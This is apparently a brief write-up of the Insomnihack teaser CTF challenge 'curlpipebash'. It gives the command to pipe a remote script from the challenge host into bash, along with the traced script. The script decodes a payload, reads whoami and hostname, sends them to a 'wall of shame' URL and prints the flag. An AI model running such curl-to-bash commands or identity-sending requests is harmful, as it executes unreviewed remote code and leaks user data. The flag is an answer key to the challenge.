Execute  curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash -x and you can see what input go to bash+ + curl -Ns https://curlpipebash.teaser.insomnihack.ch/<UUID>+ bash+ base64 -d++ whoami++ hostname+ curl -Ns https://curlpipebash.teaser.insomnihack.ch/<UUID>/add-to-wall-of-shame/<username>@<host>+ 'INS{Miss' me with that fishy 'pipe}'